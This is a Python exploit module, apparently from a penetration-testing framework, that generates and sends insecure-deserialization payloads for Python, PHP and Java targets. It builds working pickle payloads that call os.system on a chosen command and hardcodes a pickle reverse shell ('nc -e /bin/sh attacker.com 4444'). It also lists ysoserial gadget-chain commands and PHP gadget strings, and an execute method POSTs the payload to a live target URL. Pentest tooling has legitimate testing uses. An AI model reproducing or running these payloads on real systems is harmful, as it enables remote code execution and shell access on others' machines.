Buckets:
AnonymousSpottedToad/candidate_bucket / codebase /python /SHAdd0WTAka_Zen-Ai-Pentest /modules /exploit_modules /deserialization_module.py
| #!/usr/bin/env python3 | |
| """ | |
| Deserialization Exploit Module | |
| ============================== | |
| Exploit-Modul für Insecure Deserialization Schwachstellen | |
| Unterstützt: | |
| - Java Deserialization | |
| - PHP Deserialization | |
| - Python Pickle | |
| - Node.js serialize | |
| - .NET Deserialization | |
| Author: ExploitBot Development Team | |
| Version: 1.0.0 | |
| """ | |
| import base64 | |
| import pickle # nosec B403 - Required for deserialization exploit module | |
| import sys | |
| from typing import Any, Dict | |
| sys.path.append("..") | |
| from exploit_bot import ( | |
| ExecutionMode, | |
| ExploitModule, | |
| ExploitPayload, | |
| ExploitResult, | |
| ExploitType, | |
| VulnerabilityContext, | |
| ) | |
| class DeserializationModule(ExploitModule): | |
| """Deserialization Exploit Modul""" | |
| def __init__(self): | |
| super().__init__( | |
| name="DeserializationModule", | |
| exploit_type=ExploitType.DESERIALIZATION, | |
| ) | |
| # Gadget Chains für verschiedene Sprachen | |
| self.gadget_chains = { | |
| "java": { | |
| "commons_collections": "ysoserial CommonsCollections1 'command'", | |
| "commons_collections2": "ysoserial CommonsCollections2 'command'", | |
| "spring": "ysoserial Spring1 'command'", | |
| "hibernate": "ysoserial Hibernate1 'command'", | |
| "jboss": "ysoserial JBossInterceptors1 'command'", | |
| }, | |
| "php": { | |
| "monolog": 'O:24:"Monolog\\Handler\\SyslogUdpHandler":1:{...}', | |
| "guzzle": 'O:24:"GuzzleHttp\\Psr7\\FnStream":1:{...}', | |
| "laravel": 'O:40:"Illuminate\\Broadcasting\\PendingBroadcast":1:{...}', | |
| }, | |
| } | |
| # Python Pickle Payloads | |
| self.python_payloads = { | |
| "basic": b"cos\nsystem\n(S'whoami'\ntR.", | |
| "reverse_shell": b"cos\nsystem\n(S'nc -e /bin/sh attacker.com 4444'\ntR.", | |
| "custom": None, # Wird dynamisch generiert | |
| } | |
| async def develop_exploit(self, context: VulnerabilityContext) -> Dict[str, Any]: | |
| """Entwickelt einen Deserialization Exploit""" | |
| language = context.target_info.get("language", "java") | |
| gadget_chain = context.target_info.get("gadget_chain", "commons_collections") | |
| exploit = { | |
| "type": "deserialization", | |
| "language": language, | |
| "gadget_chain": gadget_chain, | |
| "target_url": context.target_url, | |
| "gadget_chains": self.gadget_chains, | |
| "capabilities": [ | |
| "remote_code_execution", | |
| "command_execution", | |
| "denial_of_service", | |
| "authentication_bypass", | |
| ], | |
| "severity": context.severity.name, | |
| } | |
| return exploit | |
| async def generate_payload(self, context: VulnerabilityContext) -> ExploitPayload: | |
| """Generiert einen Deserialization Payload""" | |
| language = context.target_info.get("language", "java") | |
| command = context.target_info.get("command", "whoami") | |
| if language == "python": | |
| # Generiere Python Pickle Payload | |
| raw_payload = self._generate_python_pickle(command) | |
| encoding = "base64" | |
| encoded_payload = base64.b64encode(raw_payload).decode() | |
| elif language == "php": | |
| # PHP Serialized Payload | |
| gadget_chain = context.target_info.get("gadget_chain", "monolog") | |
| raw_payload = self._generate_php_payload(gadget_chain, command) | |
| encoding = "raw" | |
| encoded_payload = raw_payload | |
| elif language == "java": | |
| # Java Serialized Payload (Platzhalter) | |
| gadget_chain = context.target_info.get("gadget_chain", "commons_collections") | |
| raw_payload = f"JAVA_SERIALIZED_{gadget_chain}_{command}" | |
| encoding = "base64" | |
| encoded_payload = base64.b64encode(raw_payload.encode()).decode() | |
| else: | |
| raw_payload = f"DESER_{language}_{command}" | |
| encoding = "raw" | |
| encoded_payload = raw_payload | |
| return ExploitPayload( | |
| payload_id=f"DESER-{language.upper()}", | |
| exploit_type=ExploitType.DESERIALIZATION, | |
| payload_data=encoded_payload, | |
| encoding=encoding, | |
| metadata={ | |
| "language": language, | |
| "command": command, | |
| "gadget_chain": context.target_info.get("gadget_chain"), | |
| }, | |
| ) | |
| def _generate_python_pickle(self, command: str) -> bytes: | |
| """Generiert einen Python Pickle Payload""" | |
| class Exploit(object): | |
| def __reduce__(self): | |
| import os | |
| return (os.system, (command,)) | |
| return pickle.dumps(Exploit()) | |
| def _generate_php_payload(self, gadget_chain: str, command: str) -> str: | |
| """Generiert einen PHP Deserialization Payload""" | |
| # Vereinfachte PHP Payloads | |
| payloads = { | |
| "monolog": ( | |
| f'O:24:"Monolog\\Handler\\SyslogUdpHandler":1:' | |
| f'{{s:9:"*socket";O:14:"Mockery\\Loader":1:' | |
| f'{{s:4:"test";s:{len(command)}:"{command}";}}}}' | |
| ), | |
| "guzzle": f'O:24:"GuzzleHttp\\Psr7\\FnStream":1:{{s:4:"test";s:{len(command)}:"{command}";}}', | |
| "basic": f'O:8:"TestClass":1:{{s:4:"test";s:{len(command)}:"{command}";}}', | |
| } | |
| return payloads.get(gadget_chain, payloads["basic"]) | |
| async def execute( | |
| self, | |
| context: VulnerabilityContext, | |
| payload: ExploitPayload, | |
| mode: ExecutionMode = ExecutionMode.SIMULATION, | |
| ) -> ExploitResult: | |
| """Führt den Deserialization Exploit aus""" | |
| import time | |
| start_time = time.time() | |
| if mode == ExecutionMode.SIMULATION: | |
| return ExploitResult( | |
| exploit_id=f"DESER-{self.module_id}", | |
| success=True, | |
| status="simulated", | |
| output=f"Simulierte Deserialization: {payload.payload_data[:50]}...", | |
| evidence={ | |
| "payload": payload.payload_data, | |
| "language": payload.metadata.get("language"), | |
| "command": payload.metadata.get("command"), | |
| }, | |
| duration_ms=(time.time() - start_time) * 1000, | |
| ) | |
| try: | |
| import aiohttp | |
| headers = { | |
| **context.headers, | |
| "Content-Type": "application/octet-stream", | |
| } | |
| # Dekodiere Payload falls nötig | |
| payload_data = payload.payload_data | |
| if payload.encoding == "base64": | |
| payload_data = base64.b64decode(payload_data) | |
| async with aiohttp.ClientSession() as session: | |
| async with session.post( | |
| context.target_url, | |
| data=payload_data, | |
| headers=headers, | |
| timeout=aiohttp.ClientTimeout(total=30), | |
| ) as response: | |
| response_text = await response.text() | |
| return ExploitResult( | |
| exploit_id=f"DESER-{self.module_id}", | |
| success=True, | |
| status="executed", | |
| output=response_text[:500], | |
| evidence={ | |
| "status_code": response.status, | |
| "response_length": len(response_text), | |
| }, | |
| duration_ms=(time.time() - start_time) * 1000, | |
| ) | |
| except Exception as e: | |
| return ExploitResult( | |
| exploit_id=f"DESER-{self.module_id}", | |
| success=False, | |
| status="error", | |
| error_message=str(e), | |
| duration_ms=(time.time() - start_time) * 1000, | |
| ) | |
Xet Storage Details
- Size:
- 7.85 kB
- Xet hash:
- d972f56631994d259bdcb5ea7046eb5327f1790ab880848421d6e680cc1f82b3
·
Xet efficiently stores files, intelligently splitting them into unique chunks and accelerating uploads and downloads. More info.